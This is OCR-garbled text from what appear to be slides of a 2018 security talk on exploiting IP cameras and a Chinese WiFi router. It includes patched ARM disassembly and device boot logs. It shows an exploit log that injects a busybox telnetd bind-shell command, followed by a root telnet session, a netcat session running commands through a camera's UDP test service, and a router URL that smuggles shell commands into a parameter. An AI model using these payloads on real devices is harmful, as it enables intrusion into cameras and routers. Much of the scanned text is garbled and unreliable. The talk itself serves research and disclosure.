p2p control client path: /tmp/wpa_supplicant/p2p_ctrl_808
p2p monitor client path: /tmp/wpa_supplicant/p2p_moni_808

[WIFI_MW]
[WIFI_MW]
[WIFI_MW]
[WIFI_MW]
[WIFI_MW]
[WIFI_MW]
[WIFI_MW]
[WIFI_MW]

[WPA_CTRL] Enter wpaCtrlOpen: ctrl_path = /tmp/wpa_supplicant/wlan@.

wpaCtrlOpen: unlink(), ctrl->s: 11, ctrl->mlLocal.sun_path: /tmp/wpa_supplicant/wpa_ct
wpaCtrlOpen: bind(), bindRet = 0.

wpaCtrlOpen: connect(), ctrl->s: 11, ctrl->dest.sun_path: /tmp/wpa_supplicant/wlan@
[WPA_CTRL] Leave wpaCtrlOpen(), conn = 0.

[WPA_CTRL] Enter wpaCtrlOpen: ctrl_path = /tmp/wpa_supplicant/wlan@.

wpaCtrlOpen: unlink(), ctrl->s: 12, ctrl->mLocal.sun_path: /tmp/wpa_supplicant/wpa_md
wpaCtrlOpen: bind(), bindRet = 0.




Everything Things Else Fall




BL, BNE, BEQ and friends

Original BIN Patched BIN
ptlen
R@, [R11,#fd] ; fd SR W, | RLL#val_ Lo
MOV R1l, #6 ; level MOV R3, &8
MOV R2, #1 ; optname STR R3, [R11,#var_1@]
BL setsockopt LOR R3, [R11,#var_18]
LDR Re, [R11,#fd] ; fd Pl 3. sa -
. ¥
i Ri, 72 emd BGE loc_1C8A4
BL fentl ] 1
MOV R3, RO ¥
w, #2 "I " PIS
BEQ loc 1BEB3
= MOV R3, #1
q I STR R3, [R1l,#var 18] loc_1C8A4
MoV R3, #& NOP
F‘ ¥
FEE STR R3, [R11,#var 18]
LDR R3, =(socketHighestFd_ptr - BxFF3BB) B loc 1CEAR
LDR R3, [R4,R3] ; socketHighestFd T —
LDR R2, [R3]
LDR R3, [R1L,#Fd] YVYVw¥
P R2, R3 il il 5=
MOVLT R2, R3
LDR R3, =(socketHighestFd_ptr - @xFF3B8)
LOR R3, [R4,R3] ; socketHighestfd loc_1CsA3
STR R2, [R3] LDR R3, =(socketMax_ptr - BxFF3B8)
LDR R@, [R1L,#var 48] LDR R3, [R4,R3] ; socketMax
LDR R3, [R11,#var_48] LDR R3, [R3]
LDR R1, [R3,#2xA8] TOR L - T
LDR R3, [R11,#var_43] falld R2, R3
LDR R2, [R3,#8x94] BaT loc_1C828 ; Keypatch modified this from:
LDR R3, [R11,#var_43] ;  BLT loc_1C828
LDR R3, [R3,#8xAC]
BL sub_1B1A6 f
STR R@, [R1L,#var_14]
LDR R3, [R11,#var_14]
CMN R3, #I1
BNE loc_1BDEE@
] 1 ¥ R3, =(socketlist_ptr - @xFF3B8)
] e =]
loc_1BD8@
LDR R3, =(socketlList ptr - @xFF3B3)
1 Rn n rma m2>1 . eeleadl 3 -4




DEMO *bug disclosed in geekpwn 2018, shanghai*
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HI_Media_SDKInit: efreq=50,maxchn=2,resolution=31,maxresolution=6,maxwidth=1286,maxheight=726
HI_Media_SDKInit: maxchannel=2

HI_Media_SDKInit: maxresolution[8]=6

HI_Media_SDKInit: maxresolution[1]=7

HI_Media_SDKInit: maxresolution[2]=8

open extalarm error

I_Media_SDKInit: HI_SDK_Init() error!

Init: init sdk failed!
_Ini init media succeed.
ebs

HI_| vr_Init: PBServer start.
acl: enable=0, errnum=0
HI_Websvr_Init: httpport=80, snapchn=1
ptz type: rs48s

workthread: ptz init succeed.
ircut: c2b_value=90, b2c_value=30
workthread: ircut init succeed.

AF /dev/motor open error

AF: init failed!

AF: status proc exit.

infra: status=2
HI_Infra_IOCTL(warning): open /dev/rled failed!
lamp: flag=0, mode=0, timeout=30
HI_Infra_IOCTL(warning): open /dev/rled failed!
workthread: infrared init succeed.
HI_Reset_Init: smart: enable=0
HI_Reset_Init: light: enable=1
HI_Reset_Init: apmode: status=1
workthread: reset init succeed.
workthread: wifikey init succeed.
reset: open failed!

workthread: netdetect init succeed.

thread: search start.

= p] xqun disable.

workthread: p2p start.

workthread: wdt init succeed.

wdt: open(/dev/watchdog) failed!
lamp: proc start.

HI_Light_Proc: open falled!

light: open failed!

netdetect: WiFi (Enable).
netdetect: netflag(Lan).

ipc_server start : 2018-11-02 00:55:04

*watchdog*
upgrade(sd): check startes.

chksbupgrade: not upgrade file.

upgrade(sd): check end.

user: auth failed!

user: auth failed!

workthread: Exiting(signal=11), waiting for all threads to finish...
workthread wdt done.

I
work search done.
p2p done.
etect exit:
workthrea netdetect done.
lamp: proc exit!!!
workthread: infra done.
workthread: ircut done.
workthread: ptz done.

*** 1541091330.0xb4ad14d6.master_thread.4308: stopping workers

File Edit View Search Terminal Help
00000020 64 35 64 65 2e 6e 67
00000030 73 65 72 2d 41 67 65
00006040 6c 61 2f 35 2e 30 20
00000050 75 78 20 38 36 5f
00000060 2e 30 29 47 65 63
00000070 30 31 20 69 72 65
00000080 41 63 65 70 74
00000090 6d 6c 2c 70 6¢
000000a0 68 74 6d 2b 78 6d
000000b0 74 69 6f 2f 78 6d
oopeeoce 2f EL 30 2e
ooeeeede 2d 61 75 61
0000000 2C 6e 3d 30
oogeeefe 74 45 6f 64
00000100 2c 64 6C 61
00000110 63 69 3a 20
00000120 67 61 2d 49
00000130 65 75 74 73
00000140 65 74 65 6e
00000150 2d 73
00000160 6b 65 74 74
00000170 74 74 74 74

*

00000720 74 74 74 54 20

008087ac

[+] Opening connection to 10.253.253.10 on port 4444: Done

[ ] Sent ©x44 bytes:

00000000 54

00000010 70

00000020

00000030 2l

00000040 2f

00000044

] Sent 6x28 bytes:

'/bin/busybox telnetd -1 /bin/sh

[*i switching to interactive mode

File Edit view Search Terminal Help

(00:55:48) : xwings@dagobah: <~/work/hi35
(3)$ telnet 16.253.253.16 3333

Trying 16.253.253.10...

Connected to 10.253.253.10.

Escape character is 'A]'

/mnt/mtd/ipc # id

uid=8(root) gid=6(root) groups=8(root)
/mnt/mtd/ipc # cat /prn(/(puu\fu
processor

model name
BOgoMIPS
Features

CPU implementer
CPU architecture
CPU variant

CPU part

CPU revision

ARM\I7 Processor rev
125.00

half thumb fastmult
0x41

7

0x2

0xcof

processor
model name
BogoMIPS
Features

T

1

ARMv7 Processor rev
125.00

half thumb fastmult

ok.ijo- U
t: M ozil
X11; Lin
4; rivis2
0/20 1601
ox/5 2.0
tex t/ht
cati on/x
,app lica
39=0 .9,*
Ac | cept
e: e/n-us
5 Alccep
ng: gzip
e  Clonne
up

re-R

Cont
1624
ncoo

tttt
tttt

40 rid

2f

-p 3333&'

Terminal

18>

1 (v7l)

vfp edsp thumbee neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae evtstrm

1 (v7l)

vfp edsp thumbee neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae evtstrm




loT with UDP Access

Web Cam with Motor

File Edit View Search Terminal Help
WELCOME USING LIBDANAVIDEO_VERSION 1.0.180323
dana id: d42c3d8186f5b675100293c84993c2bc

Airlink start

= = setIrLight(1)

#####IR CUT in Night Mode.

sh: you need to specify whom to kill
Get vi CSC attr err:06xa0108010
doIrCutSwitch: 1

wifiChipType = 2 if_name =

= = setIrLight(0)

#H#E#HIR CUT in Day Mode.

[LHF]:1ink detected on eth®====
Catch a signal -- SIGALRM
HI_MPI_AO_ClearChnBuf err:0xa@168010

user:
user:

user:

user:

user:
user:ver|wifi|setwifi|sdcard|sensor|sn|restore|rsri|danaid
hw_test cmd sdcard

sdcard:NocCard

hw_test cmd sn

sn:d42c3d8106F5b675100293c84993c2bc

hw test cmd exec

hw_test cmd exec

mknod_console
init
Il

Terminal

File Edit View Search Terminal Help

unix [ DGRAM 10535
unix [ STREAM CONNECTED 1762
i [ STREAM CONNECTED 11742 /run/systemd/journal/stdout
[ STREAM CONNECTED 11664 /run/systemd/journal/stdout
[ STREAM CONNECTED 9175 /run/systemd/journal/stdout
[ STREAM CONNECTED 10883

[ DGRAM 1773

[ STREAM CONNECTED 13571

[ DGRAM 11622

[ DGRAM 13596

[ DGRAM 13595

[ DGRAM 11621

[ DGRAM 12072

[ STREAM CONNECTED 13572 /run/systemd/journal/stdout
[ DGRAM 8794

[ STREAM CONNECTED 11358 /run/systemd/journal/stdout
[ STREAM CONNECTED 8949

CAMERA

:~# netstat -an | grep :
(6] 0.0.0.0:22 6.0.0.0:* LISTEN
(3] 16.253.253.10:22 16.253.253.254:37748 ESTABLISHED
(3] 16.253.253.10:22 16.253.253.254:37754 ESTABLISHED
tcpé (3] 1:1:22 LISTEN
udp (3] 0.0.0.0:5350
root@IP CAMERA:

File Edit View Search Terminal Help
(23:06:09) :xwings@dagobah:

(11)$ nc 10.253.253.10 -u 5350

help

OKsdcard

OKsn
SN:042C3081001500/5163293cB4993c2bcexec
OKexec 1s

(o]




Command Execution Injection

Chinese based WiFi Router

< C @ 10.253.253.10/goform/setUsbUnload/.gif?deviceName=22;ls;uname%20-a

{"errCode":8}

Terminal

sock, addr
KeyboardInterrupt
root@armhf:/home/xwings/tenda/nvramsocket# vi nvramsocket.py
root@armhf: /ho tenda/nvramsoc # python nvra
starting up on fopt/ac15-chi Jvar [cfm_socket
Connection to 10.253.253.10 closed by rem
Connection to 10.253.253.10 clo:
(14:58:59) :xwings gobah:
(25)s h 10.253.253.10 -1 root
root@10.253.253.108's password:
Linux armhf 4. - rmmp-1p; #1 SMP i q debou1l (2018-05-07) armv7l

The programs incl d with the Debian GNU/Linux system are free software;
t ct d ribution terms for each program are descri in the

ABSOLUTELY NO WARRANT

Last login: Thu Nov
root@armhf: 1s

mount.sh

root@armhf:~# sh ./mount.sh ac15-chinese

root@arm wings/tenda/nvr

root@armhf:/ho da/nvramsoc

enda 4 nvramsocket.py
root@armhf:/home/ ngs/tenda/nvramsoc # python ./nvram
starting up on fopt/acl5-chinese/var/cfm_socket

U

*k%%%% WelovelinL

Welcome to

10.253.253

msg create
st Msg failed.
et

PostMsg msg create error
t Msg failed.
etc home
ir
Linux armhf 4.9.0-6-armmp-lpae #1 SMP ia 1+deb9ul (2018-05-087) armv7l

webroot

webroot

GNU/Linux
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